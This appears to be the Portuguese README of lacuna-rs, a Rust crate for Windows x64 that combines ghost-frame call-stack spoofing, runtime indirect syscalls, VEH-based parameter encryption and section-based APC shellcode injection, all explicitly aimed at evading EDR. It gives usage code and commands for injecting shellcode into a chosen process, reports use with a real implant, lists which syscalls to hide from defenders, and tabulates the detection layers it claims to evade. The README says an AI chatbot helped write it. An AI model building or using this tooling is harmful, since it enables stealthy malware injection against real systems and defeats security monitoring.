
Crate Rust para falsificação de pilha de chamadas ghost-frame, chamadas de sistema indiretas em tempo de execução e injeção APC no Windows x64. Fornece resolução SSN, emissão de stubs JIT e criptografia de parâmetros baseada em VEH para evasão de EDR.
Ghost-frame spoofing de pilha de chamadas + syscalls indiretos em tempo de execução para Windows x64 — portado para Rust.
Portado de LACUNA Chain (lacuna_chain.c) por Mohamed Alzhrani (0xmaz).
lacuna-rs é uma crate Rust reutilizável que fornece as mesmas primitivas do TTP C original, estruturada para poder ser integrada em qualquer projeto Rust — como wsyscall-rs ou syscalls-rs, mas com resolução de SSN em tempo de execução, direcionamento syscall;ret por função, e spoofing de pilha ghost-frame.
A funcionalidade
stack-spooffalhará silenciosamente se a crate consumidora não for compilada com frame pointers.
As primitivas de stack-stomping em chain.rs localizam o slot de endereço de retorno do chamador via assembly inline mov rbp, {x}. Isso requer que a cadeia RBP esteja intacta. Rust (e a maioria dos compiladores em modo release) omite frame pointers por padrão.
build.rs define force-frame-pointers=yes para a geração de código desta crate, mas o Cargo não pode propagar flags de compilador para crates downstream. Você deve adicionar isso ao seu próprio projeto:
# .cargo/config.toml (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Sem isso, stomp_plant() lerá lixo do RBP e ou não fará nada (melhor caso) ou corromperá a pilha (pior caso). A crate não tem como detectar em tempo de execução se frame pointers estão habilitados — ela simplesmente não funcionará.
Se você precisa apenas das primitivas de scan, resolução de SSN ou injeção (sem stack spoofing), você pode omitir a funcionalidade stack-spoof e este requisito não se aplica.
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
Quando nenhuma funcionalidade está habilitada, apenas as camadas de scan/PE/NT estão disponíveis.
cargo run --example scan
cargo run --example verify --features stack-spoof
Exemplo de injeção com implante real - C2 estava offline, mas o Shellcode foi executado
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Adicione --verbose para habilitar a saída de diagnóstico VEH (dumps de pilha, impressões de registradores):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Em vez de enfileirar APCs para cada thread no processo alvo (o que pode causar crash
quando muitas threads são alertadas simultaneamente), inject_sapc
usa um algoritmo de pontuação para selecionar os melhores MAX_APC_THREADS (5) candidatos:
NtQueryInformationThread(ThreadCycleTime) — indicador primário de atividadeNtQueryInformationThread(ThreadTimes) — tempo de kernel + usuárioNtQueryInformationThread(ThreadSuspendCount) — threads não suspensas recebem bônus de +300; threads suspensas recebem -150 por contagem de suspensãoNtQueryInformationThread(ThreadBasicInformation) — threads com prioridade 8-10 recebem bônus de +150; prioridades fora do intervalo recebem penalidade de -100Threads completamente ociosas (zero ciclos e zero tempo de CPU) são ignoradas totalmente. Os candidatos restantes são ordenados por pontuação (maior primeiro, desempate por ciclos) e truncados para os 5 melhores.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();
// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
Nem toda chamada de API precisa do tratamento LACUNA completo. O princípio chave é: esconda as chamadas que um EDR correlacionaria como atividade de injeção ou pós-exploração.
Estes são os syscalls NT "joia da coroa" que EDRs hookam e correlacionam:
Para cada um destes:
nt::resolve(ntdll, b"NtXxx\0")stub::make_stub(ssn, syscall_ret)veh::pcrypt_arm(key, syscall_ret, true)chain::stomp_plant() e chain::stomp_restore()nt::resolve(ntdll, b"NtXxx\0") -- retorna (SSN, syscall_ret_VA).stub::make_stub(ssn, syscall_ret) -- retorna um ponteiro de função chamável.extern "system" fn(...) apropriado via core::mem::transmute.chain::build_chain() e chame chain::stomp_plant() / chain::stomp_restore() em torno da chamada.veh::pcrypt_arm(key, syscall_ret, true) antes da chamada, e veh::pcrypt_disarm() depois.O stub lida automaticamente com a sequência mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Se um ghost gadget foi registrado, o stub roteia através de JMP [RBX] para redirecionamento de execução de uso duplo + quadro de ponte sem artefatos.
Todas as 9 contribuições principais do writeup do LACUNA Chain estão representadas no código:
syscalls-rs?syscalls-rs e wsyscall-rs geram uma tabela de SSN em tempo de compilação a partir do ntdll de uma build específica do Windows. Se a máquina alvo executa uma build diferente, os SSNs estão errados e os syscalls falham (ou acionam heurísticas de EDR).
lacuna-rs resolve SSNs em tempo de execução lendo os stubs do ntdll diretamente, e direciona a própria instrução syscall;ret da função para que RIP esteja dentro do ntdll na entrada do kernel -- derrotando as heurísticas de "SSN mismatch" e "syscall indireto de memória não respaldada" do EDR.
Além disso, lacuna-rs fornece a cadeia de spoofing de pilha ghost-frame que syscalls-rs não tem.
x86_64-pc-windows-msvc (ou x86_64-pc-windows-gnu)litcrypt2 (ofuscação de strings em tempo de compilação)stack-spoof)A funcionalidade stack-spoof requer frame pointers. build.rs define force-frame-pointers=yes automaticamente para esta crate, mas crates consumidoras também devem defini-lo em seu .cargo/config.toml:
# .cargo/config.toml (in the consuming crate)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Todos os literais de string na crate e exemplos são envolvidos em macros lc!(), que os criptografam em tempo de compilação e descriptografam em tempo de execução. A chave de criptografia é lida da variável de ambiente LITCRYPT_ENCRYPT_KEY; se não definida, litcrypt2 gera automaticamente uma chave aleatória.
Para fixar uma chave para builds reproduzíveis:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # Sets force-frame-pointers for stack-spoof
├── src/
│ ├── lib.rs # Crate root + re-exports + scan_all() + litcrypt2 setup
│ ├── win.rs # Win32/NT FFI bindings (no_std-compatible)
│ ├── pe.rs # PE section + export parsing
│ ├── scan.rs # .pdata ghost-region + gadget scanning
│ ├── nt.rs # SSN resolution + syscall;ret targeting
│ ├── stub.rs # JIT indirect-syscall stub emission
│ ├── veh.rs # VEH + hardware-breakpoint param encryption
│ ├── chain.rs # LACUNA ghost-frame chain + stomp
│ └── inject.rs # Section-based APC injection
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc target
Este projeto foi ativamente assistido por um Chatbot de IA. Tive a chance de testar um modelo Open Source mais novo e muito capaz (GLM-5.2 por Z.ai (Zhipu AI)) e queria dar a ele uma tarefa desafiadora. Lições aprendidas: Funcionou bem se o humano sabe como os resultados devem ser. Se não... apenas lixo.
MIT
| Primitiva | Função C | Módulo Rust |
|---|
| Análise de seção PE + exportação | pe_section(), pe_export() | pe |
Scan de região fantasma .pdata | scan_ghosts(), best_ghost() | scan |
Descoberta de ghost-gadget (jmp [rbx]) | scan_ghost_gadgets() | scan |
Localizador de gap NOP win32u | win32u_nop_gap() | scan |
| Localizador de âncora BYOUD-MF | find_mf_target() | scan |
| Resolução de SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Localizador de syscall;ret por função | find_func_syscall() | nt |
| Emissão de stub JIT de syscall indireto | alloc_stub() | stub |
| Redirecionamento de stub ghost-gadget | (em alloc_stub()) | stub |
| VEH + criptografia de parâmetros via hardware breakpoint | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH Chain-guard | chain_veh() | veh |
| Construção da cadeia LACUNA | build_chain() | chain |
| Stack stomp (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Percursor da cadeia (verificação) | lacuna_walk_chain() | chain |
| Injeção APC baseada em seção | do_inject_sapc() | inject |
| Funcionalidade | Descrição | Requer frame pointers? |
|---|
syscalls (padrão) | Resolução de SSN + emissão de stub JIT | Não |
inject (padrão) | Injeção APC baseada em seção (inject::inject_sapc) | Não |
veh | VEH + criptografia de parâmetros via hardware breakpoint | Não |
stack-spoof | Cadeia ghost-frame LACUNA + stack stomp | Sim |
no-std | Modo no_std (experimental) | Não |
| Chamada | Por que é sensível |
|---|
NtOpenProcess | Abre um handle para outro processo -- primeiro passo da injeção |
NtCreateSection + NtMapViewOfSection (remoto) | Assinatura de injeção baseada em seção |
NtWriteVirtualMemory | Escrita entre processos -- indicador clássico de injeção |
NtCreateThreadEx | Criação de thread remota -- primitiva de injeção de maior sinal |
NtQueueApcThread | Injeção APC -- alto sinal |
NtProtectVirtualMemory | Mudanças de permissão RWX -- indicador de staging de shellcode |
NtAllocateVirtualMemory (remoto) | Alocação remota -- prelúdio de injeção |
NtSetInformationThread | Ocultação de thread (HideFromDebugger) -- indicador de evasão |
| Chamada | Por que é seguro |
|---|
NtQueryInformationThread | Apenas consulta, raramente hookada, sem escrita entre processos |
NtDelayExecution | Sleep -- benigno, usado por todas as aplicações |
NtClose | Fechamento de handle -- benigno, extremamente comum |
GetModuleHandleA / GetProcAddress | Resolução de módulo -- não é um syscall, não hookável por hooks de userland do EDR |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | Enumeração de threads -- kernel32, não syscall ntdll |
OpenThread / CloseHandle | Operações de handle padrão -- kernel32 |
GetThreadContext / SetThreadContext | Necessário para DR0 -- kernel32, apenas processo próprio |
lc!()set_verbose(true)| # | Conceito do Writeup | Localização no Código | Descrição |
|---|
| 1 | BYOUD-Gap (modificação zero de .pdata) | chain.rs -- construção da cadeia ghost frame | Explora lacunas entre entradas RUNTIME_FUNCTION; o unwinder as trata como frames folha (RSP += 8) |
| 2 | Ataque de Janela APC ETW-Ti | inject.rs -- dreno alertável NtDelayExecution | Controla quando o snapshot de pilha APC ETW-Ti dispara manipulando o estado alertável da thread |
| 3 | Criptografia de Parâmetros no Contexto BYOUD | veh.rs -- pcrypt_arm(), param_encrypt_veh() | Criptografa parâmetros de syscall com XOR no staging; descriptografa dentro de um VEH de hardware breakpoint na instrução syscall |
| 4 | Cadeia de Gap NOP Win32u + Ghost Gadget | scan.rs -- win32u_nop_gap(), scan_ghost_gadgets() | 1.242 gaps NOP em win32u.dll fornecem frames folha na lista branca; ghost gadget JMP [RBX] em ntdll+0xFC47B |
| 5 | Proximidade Semântica de Ghost do kernelbase | chain.rs -- camada L2_kbase perto de VirtualProtect | Ghost de 238 bytes terminando no ponto de entrada de VirtualProtect -- indistinguível de um site de retorno VP real |
| 6 | BYOUD-MF (Teletransporte de RSP de Frame de Máquina) | chain.rs -- struct MachFrame, scan.rs -- find_mf_target() | Explora UWOP_PUSH_MACHFRAME (opcode 10) em dispatchers KiUser* para teletransporte arbitrário de RSP em um único frame |
| 7 | BYOUD-RT (Cálculo de RSP em Tempo de Execução) | chain.rs -- teb_stack_base(), teb_stack_limit() | Lê TEB.StackBase (GS:[0x08]) no momento da chamada para calcular a distância exata do frame -- sem necessidade de pré-calibração |
| 8 | Proximidade de Ghost wow64.dll | chain.rs -- camada L1_wow64, scan.rs -- alvos Wow64PrepareForException | Ghost de 91 bytes terminando na entrada de Wow64PrepareForException -- quarta camada semântica da cadeia |
| 9 | Cadeia LACUNA de Seis Camadas | chain.rs -- struct LacunaStack (L1-L5 + MachFrame) | Cadeia completa: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| Camada de Detecção | Status | Implementação |
|---|
| Verificação de módulo de origem | EVADIDO | Todos os frames em ntdll / kernelbase / wow64 / win32u |
| Correção da caminhada de unwind | EVADIDO | Todos os frames lacuna são folha -> RSP+8 válido |
Scan forense de .pdata | EVADIDO | Modificação zero; lacunas são pré-existentes |
| Pilha sombra CET | EVADIDO | Cadeia puramente folha; pilha sombra não consultada |
| Análise semântica de frame | EVADIDO | Exceção WoW64 + adjacência VirtualProtect |
| Isenção de regra Win32u | EVADIDO | Camada 4 explicitamente excluída por todas as regras |
| STACKWALK ETW-Ti | EVADIDO | Ataque de janela APC controla o tempo do snapshot |
| Inspeção de parâmetros | EVADIDO | Descriptografia VEH via HW breakpoint |
| Callbacks de kernel | PARCIAL | Operações de handle ainda disparam ObRegisterCallbacks |